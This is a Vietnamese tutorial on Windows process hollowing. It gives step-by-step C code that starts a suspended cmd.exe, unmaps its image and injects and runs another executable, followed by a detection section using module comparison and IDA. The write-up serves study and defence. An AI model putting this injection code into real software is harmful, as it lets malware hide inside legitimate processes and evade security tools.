# Process Hollowing
Process Hollowing là một trong những kỹ thuật để ẩn dấu process. Ý tưởng là tạo ra một process trong trạng thái treo. Phần image (mã thực thi nằm trên RAM) của process bị chèn (destination image) sẽ bị gỡ bỏ và thay thế bằng image của process cần ẩn (source image). Tức là process ban đầu sẽ không còn chứa code thực thi của nó nữa mà thay vào đó là phần code của process cần dấu đi. Process sau đó được tiếp tục và thực thi image của process cần ẩn.

Quy trình cơ bản của Process Hollowing gồm:
- Tạo một process mới ở trạng thái Suspend (bị treo)
- Sử dụng ``NtUnmapViewOfSection`` để bỏ ánh xạ của phần image gốc của tiến trình khỏi phần bộ nhớ ảo của nó. Hiểu đơn giản là phần image gốc sẽ bị loại bỏ khỏi tiến trình
- Khởi tạo một vùng nhớ mới và viết image của process cần ẩn vào đó
- Nếu Image Base được chèn vào không khớp với Image gốc của tiến trình thì thực hiện Rebase (Portable Executable Relocations), hiểu đơn giản là thay thế các phần sao cho phù hợp
- Set lại Entry Point của Thread và thực hiện Resume để thực thi code của Image mới được chèn vào
## Quy trình cụ thể
### Tạo Process bị treo
Đầu tiên khởi tạo Process ở trạng thái treo, bằng cách sử dụng giá trị ``CREATE_SUSPENDED`` cho tham số dwCreationFlags của hàm ``CreateProcess()``. Process mục tiêu sẽ là ``cmd.exe``
```cpp=
const char* pDestCmdLine = "C:\\Windows\\SysWOW64\\cmd.exe";
LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();
if (!CreateProcessA(NULL, (LPSTR)pDestCmdLine, NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, pStartupInfo, pProcessInfo)) {
printf("FAIL_CREATE_PROCESS\n");
return 0;
}
HANDLE targetProc = pProcessInfo->hProcess;
```
### Lấy ImageBase Address của tiến trình được tạo
Để lấy được ImageBase Address của tiến trình được tạo, mình sẽ sử dụng ``NtQueryProcessInfomation`` để xác định thông tin của cả process (PEB). Sau đó sử dụng hàm ``ReadProcessMemory()`` để đọc PEB.
```cpp=
DWORD returnLength = 0;
PROCESS_BASIC_INFORMATION *pbi = new PROCESS_BASIC_INFORMATION();
_NtQueryInformationProcess myNtQueryInformationProcess = (_NtQueryInformationProcess)(GetProcAddress(GetModuleHandleA("ntdll"), "NtQueryInformationProcess"));
if (myNtQueryInformationProcess(targetProc, ProcessBasicInformation, pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength)) {
printf("NtQueryInformationProcess_FAIL\n");
return 0;
}
DWORD pebImageBaseOffset = (DWORD)pbi->PebBaseAddress + 0x08; //Offset của ImageBaseAddres trong PEB là 0x08
LPVOID targetImageBase = 0;
SIZE_T byteRead = NULL;
if (!ReadProcessMemory(targetProc, (LPCVOID)pebImageBaseOffset, &targetImageBase, 4, &byteRead)) {
printf("FAIL_GET_IMAGEBASEADDRESS\n");
return 0;
}
```
### Đọc nội dung Source Image muốn thực thi
Biến ``pSrcCmdLine`` là biến lưu địa chỉ của source file. Mình sẽ sử dụng hàm ``ReadFile`` để đọc toàn bộ nội dung của nó
```cpp=
HANDLE sourceFile = CreateFileA(pSrcCmdLine, GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);
DWORD srcFileSize = GetFileSize(sourceFile, NULL);
LPDWORD fileByteRead = 0;
LPVOID srcFileByteBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, srcFileSize);
if (!ReadFile(sourceFile, srcFileByteBuffer, srcFileSize, NULL, NULL)) {
printf("FAIL_READ_FILE_SRC\n");
return 0;
}
```
Sau khi đọc xong thì lấy kích thước image của source file
```cpp=
PIMAGE_DOS_HEADER srcImageDosHeader = (PIMAGE_DOS_HEADER)srcFileByteBuffer;
PIMAGE_NT_HEADERS srcImageNTHeader = (PIMAGE_NT_HEADERS)((DWORD)srcFileByteBuffer + srcImageDosHeader->e_lfanew);
SIZE_T srcSizeOfImage = srcImageNTHeader->OptionalHeader.SizeOfImage;
```
### Loại bỏ Image của Process đã tạo
Như đã trình bày ở trên, mình sẽ sử dụng ``NtUnmapViewOfSection`` để bỏ ánh xạ Image gốc của tiến trình
```cpp=
_NtUnmapViewOfSection myNtUnmapViewOfSection = (_NtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtUnmapViewOfSection"));
if (myNtUnmapViewOfSection(targetProc, targetImageBase)) {
printf("NtUnmapViewOfSection_FAIL\n");
return 0;
}
```
Sau khi loại bỏ phần image gốc, bây giờ tiến hành khởi tạo vùng nhớ mới để chứa Image của Source File muốn chèn vào
```cpp=
printf("VIRTUALALLOCEX\n");
if (!VirtualAllocEx(targetProc, targetImageBase, srcSizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) {
printf("VirtualAllocEx_FAIL\n");
return 0;
}
```
Sau khi khởi tạo xong, ta phải tiến hành tính độ lệch giữa ImageBase của tiến trình và ImageBase của source file sẽ được chèn vào. Giá trị này sẽ được sử dụng cho quá trình Rebase sau này.
```cpp=
DWORD deltaImageBase = (DWORD)targetImageBase - srcImageNTHeader->OptionalHeader.ImageBase;
```
### Chèn toàn bộ Image của Source File vào Process
Mình sẽ copy lần lượt từng phần vào, đầu tiên là phần Header của Image
```cpp=
srcImageNTHeader->OptionalHeader.ImageBase = (DWORD)targetImageBase;
if (!WriteProcessMemory(targetProc, targetImageBase, srcFileByteBuffer, srcImageNTHeader->OptionalHeader.SizeOfHeaders, NULL)) {
printf("FAIL_WRITE_HEADER\n");
return 0;
}
```
Tiếp theo sẽ là các Header của nó
```cpp=
PIMAGE_SECTION_HEADER srcImageSection = (PIMAGE_SECTION_HEADER)((DWORD)srcFileByteBuffer + srcImageDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS32));
PIMAGE_SECTION_HEADER srcImageSectionOld = srcImageSection;
for (int i = 0; i < srcImageNTHeader->FileHeader.NumberOfSections; i++) {
PVOID targetSectionLocation = (PVOID)((DWORD)targetImageBase + srcImageSection->VirtualAddress);
PVOID srcSectionLocation = (PVOID)((DWORD)srcFileByteBuffer + srcImageSection->PointerToRawData);
printf("Writing %s section to 0x%p\r\n", srcImageSection->Name, targetSectionLocation);
if (!WriteProcessMemory(targetProc, targetSectionLocation, srcSectionLocation, srcImageSection->SizeOfRawData, NULL)) {
printf("FAIL_WRITE_SECTION\n");
return 0;
}
srcImageSection++;
}
```
### Base Relocation
Đây chính là phần quan trọng nhất của kĩ thuật Process Hollowing
Để hiểu được Base Relocation là gì, chúng ta trước tiên cần phải hiểu một số kiến thức sau:
#### Section .reloc
Khi chương trình được biên dịch, Compiler sẽ giả định file thực thi được tải tại một ImageBase nhất định, địa chỉ đó được lưu vào ``IMAGE_OPTIONAL_HEADER->ImageBase``, các địa chỉ sau sẽ được tải và lưu vào memory dựa theo giá trị ``ImageBase`` trên. Tuy nhiên vì nhiều lí do khác nhau, không phải file thực thi nào cũng được tải tại đúng địa chỉ ImageBase ưa thích của chúng, việc bị tải trên một ImageBase khác sẽ khiến các địa chỉ sau đó bị sai lệch và chương tình không hoạt động bình thường được.
Khi đó cần phải lưu lại một danh sách các giá trị cần sửa đổi nếu chương trình bị load ở một ImageBase khác. Các giá trị đó được lưu tại Relocation Table bên trong ``.reloc`` section. Từ bảng này Winloader sẽ tiến hành tái định vị để chương trình hoạt động đúng cách
Relocation Table là một bảng lớn được chia thành các khổi khác nhau sao cho mỗi khối sẽ nằm trong một trang 4KB.
Mỗi khối sẽ được bắt đầu bằng một cấu trúc ``IMAGE_BASE_RELOCATION`` với ``VirtualAddress`` chỉ định RVA của vị trí cần sửa chữa và ``SizeOfBlock`` là kích thước của khối. Cụ thể như dưới đây:
```cpp=
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;
```
Sau ``IMAGE_BASE_RELOCATION`` sẽ là liên tục các cấu trúc ``_BASE_RELOCATION_ENTRY``. Mỗi ``_BASE_RELOCATION_ENTRY`` sẽ có kích thước 1 WORD, với 4 bit đầu tiên xác định loại tái định vị, 12 bit còn lại lưu Offset từ RVA được chỉ định trong ``_IMAGE_BASE_RELOCATION`` .Cấu trúc cụ thể như sau:
```cpp=
typedef struct _BASE_RELOCATION_ENTRY {
WORD Offset : 12;
WORD Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
```
Các loại tái định vị phổ biến bao gồm:
+ ``IMAGE_REL_BASED_ABSOLUTE`` (0): Base Reloc này không cần tái định vị. Thường được sử dụng để căn hàng các mục.
+ ``IMAGE_REL_BASED_HIGH`` (1): Thêm độ dời (offset) vào phần cao (high 16-bit) của giá trị 32-bit.
+ ``IMAGE_REL_BASED_LOW`` (2): Thêm độ dời (offset) vào phần thấp (low 16-bit) của giá trị 32-bit.
+ ``IMAGE_REL_BASED_HIGHLOW`` (3): Thêm độ dời (offset) vào toàn bộ giá trị 32-bit.
+ ``IMAGE_REL_BASED_HIGHADJ`` (4): Được sử dụng cùng với giá trị tiếp theo để sửa chữa phần cao của địa chỉ 32-bit.
+ ``IMAGE_REL_BASED_DIR64`` (10): Thêm độ dời vào toàn bộ giá trị 64-bit.
Có thể tham khảo thêm ở [đây](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#base-relocation-types)
Tổng kết lại, có thể mô phỏng cấu trúc của section ``.reloc`` như dưới đây:

#### Quy trình Rebase trong Process Hollowing
Đầu tiên ta cần xác định địa chỉ của Block đầu tiên trong Relocation Table. Sau đó thực hiện một vòng lặp duyệt qua toàn bộ bảng. Sau đó thực hiện các việc sau:
- Lấy offset cần tái định vị từ các ``_BASE_RELOCATION_ENTRY``, sau đó cộng thêm giá trị VirtualAddress ``_IMAGE_BASE_RELOCATION`` để tính RVA cần tái định vị
- Dùng ``ReadProcessMemory`` để đọc giá trị tại địa chỉ cần tái định vị
- Cộng giá trị đọc được với độ lệch ImageBase được tính trước đó để lấy giá trị ưa thích của vị trí đó
- Ghi lại giá trị trên vào địa chỉ cần tái định vị
Tiếp tục lặp đi lặp lại quá trình trên cho đến khi duyệt hết toàn bộ bảng ``Relocation Table``
Dưới đây là đoạn code C mô phỏng lại quá trình trên:
```cpp=
IMAGE_DATA_DIRECTORY relocTable = srcImageNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
srcImageSection = srcImageSectionOld;
for (int i = 0; i < srcImageNTHeader->FileHeader.NumberOfSections; i++) {
BYTE* relocSecName = (BYTE*)".reloc";
if (memcmp(srcImageSection->Name, relocSecName, 6) != 0) {
srcImageSection++;
continue;
}
DWORD srcRelocTableRaw = srcImageSection->PointerToRawData;
DWORD relocOffset = 0;
while (relocOffset < relocTable.Size){
printf("REBASE 0x%p\r\n", relocOffset + relocTable.VirtualAddress);
PBASE_RELOCATION_BLOCK relocBlock = (PBASE_RELOCATION_BLOCK)((DWORD)srcFileByteBuffer + srcRelocTableRaw + relocOffset);
relocOffset += sizeof(BASE_RELOCATION_BLOCK);
DWORD relocEntryCnt = (relocBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
PBASE_RELOCATION_ENTRY relocEntries = (PBASE_RELOCATION_ENTRY)((DWORD)srcFileByteBuffer + srcRelocTableRaw + relocOffset);
for (DWORD y = 0; y < relocEntryCnt; y++) {
relocOffset += sizeof(BASE_RELOCATION_ENTRY);
if (relocEntries[y].Type == 0) {
continue;
}
DWORD patchAddr = relocBlock->PageAddress + relocEntries[y].Offset;
DWORD patchBuf = 0;
if (!ReadProcessMemory(targetProc, (LPCVOID)((DWORD)targetImageBase + patchAddr), &patchBuf, sizeof(DWORD), NULL)) {
printf("FAIL_READ_RELOC\n");
return 0;
}
printf("Relocating 0x%p -> 0x%p\r\n", patchBuf, patchBuf - deltaImageBase);
patchBuf += deltaImageBase;
if (!WriteProcessMemory(targetProc, (PVOID)((DWORD)targetImageBase + patchAddr), &patchBuf, sizeof(DWORD), NULL)) {
printf("FAIL_WRITE_RELOC\n");
return 0;
}
}
}
}
```
### Thay đổi Entry Point và thực thi Image được chèn vào
Đầu tiên cần tính lại EntryPoint của Image được chèn vào
```cpp=
DWORD dwEntryPoint = (DWORD)targetImageBase + srcImageNTHeader->OptionalHeader.AddressOfEntryPoint;
```
Sau đó chúng ta thay đổi lại thông tin Thread để xác định lại EntryPoint cần thực thi
```cpp=
LPCONTEXT context = new CONTEXT();
context->ContextFlags = CONTEXT_INTEGER;
if (!GetThreadContext(pProcessInfo->hThread, context)) {
printf("FAIL_GET_THREAD\n");
return 0;
}
context->Eax = dwEntryPoint;
if (!SetThreadContext(pProcessInfo->hThread, context)){
printf("FAIL_SET_THREAD\n");
return 0;
}
```
Cuối cùng thực hiện hàm Resume Thread để Process bị Suspend được chạy tiếp
```cpp=
if (!ResumeThread(pProcessInfo->hThread)){
printf("FAIL_RESUME_THREAD\n");
return 0;
}
```
## Kết quả
Tiến hành thực hiện Process Hollowing với tiến trình đích là ``C:\Windows\SysWOW64\cmd.exe``, image của source file mình chèn vào tiến trình trên là image của file ``Evil.exe``, image này thực hiện in ra message box như hình dưới đây.

Mở Process Explorer, có thể thấy tiến trình ProcHollow.exe đang chạy 1 tiến trình con là cmd.exe như dưới hình

Và ta thấy Memory của tiến trình này đã bị thay đổi thành image của file ``Evil.exe``

Source Code: [here](https://github.com/noobmannn/TrainRev/blob/main/Process_Hollowing/Src/ProcHollow.c)
## Cách phát hiện
Có nhiều cách để phát hiện ra mã độc đang sử dụng kỹ thuật Process Hollowing. Tuy nhiên có một cách được áp dụng rộng rãi đó là kiểm tra các module của file thực thi. Chúng ta sẽ tìm đến các module của file thực thi và kiểm tra xem chúng có được nạp lên bộ nhớ của process của chúng không. Nếu chúng ta tìm thấy các module nhưng không thấy chúng nằm trên vùng nhớ của process thì nội process đó đã bị biến đổi thành nội dung của mã độc bằng kỹ thuật Process Hollowing.
Mình sẽ thử demo đơn giản việc phát hiện một tiến tình có đang bị Process Hollowing không. Với file mình chọn làm ví dụ là file ``mixture.exe``
Khi thực thi file ``mixture.exe`` và theo dõi các tiến trình hiện máy đang chạy bằng công cụ System Informer, có thể thấy tiến trình này đang tạo một tiến trình con ``cmd.exe`` khá đáng ngờ

Image gốc của tiến trình lấy từ ``C:\Windows\SysWOW64\cmd.exe``

Chạy thử một tiến trình khác cũng sử dụng cùng Image với ``C:\Windows\SysWOW64\cmd.exe``, có thể thấy các Module mà cả hai tiến trình đang nạp có những sự khác biệt nhất định. Từ đây có thể nhận định tiến trình ``cmd.exe`` đang bị Process Hollowing.

Ngoài ra có thể dùng công cụ Process Explorer để so sánh nội dung của Image gốc và nội dung Memory của tiến trình
Nội dung Image gốc của ``C:\Windows\SysWOW64\cmd.exe``:

Nội dung Memory của tiến trình

Nếu tiến trình bình thường thì nội dung của Image gốc và Memory hiện tại phải giống nhau, tuy nhiên vì cả hai đang bị khác nhau nên có thể nhận định tiến trình ``cmd.exe`` đang bị Process Hollowing.
Phân tích ``mixture.exe`` bằng ida, cũng có thể nhận ra file này đang tạo một tiến trình ``cmd.exe`` mới và chèn code vào

Chương sử dụng các API như ``NtUnmapViewOfSection`` để Unmap Image gốc của tiến trình cũ, và các API liên quan đến chèn code như ``VirtualAllocEx``, ``WriteProcessMemory``,

Tiếp theo sau là hàng loạt các bước xử lý khá giống với việc Rebase và cuối cùng là các API xử lý Thread như ``GetThreadContext``, ``SetThreadContext`` và ``ResumeThread``. Đến đây có thể kết luận ``mixture.exe`` đang thực hiện tạo một tiến trình ``cmd.exe`` mới và thực hiện Process Hollowing tiến trình đó

# Tổng kết
Trên đây là toàn bộ những gì mình tìm hiểu về Process Hollowing, bao gồm nguyên lý, cách triển khai và một vài bước demo đơn giản về cách phát hiện tiến trình đang bị Process Hollowing. Ngoài cách thủ công như trên, các bạn có thể tham khảo cách dùng Volatility để detect Process Hollowing như ở bài viết [này](https://cysinfo.com/detecting-deceptive-hollowing-techniques/). Hiện tại hầu hết các phần mềm AV mới cập nhật đều có thể phát hiện được sự hiện diện của Process Hollowing nhưng nó vẫn rất hữu ích đối với những Windows, phần mềm AV phiên bản thấp và cũng làm nền tảng cho những kỹ thuật ẩn process sau này như Process Ghosting, Process Doppelganging, ... Cảm ơn các bạn đã quan tâm theo dõi
Tham khảo thêm một số kĩ thuật Process Injection khác ở [đây](https://hackmd.io/@v13td0x/ProcessInjectionP1)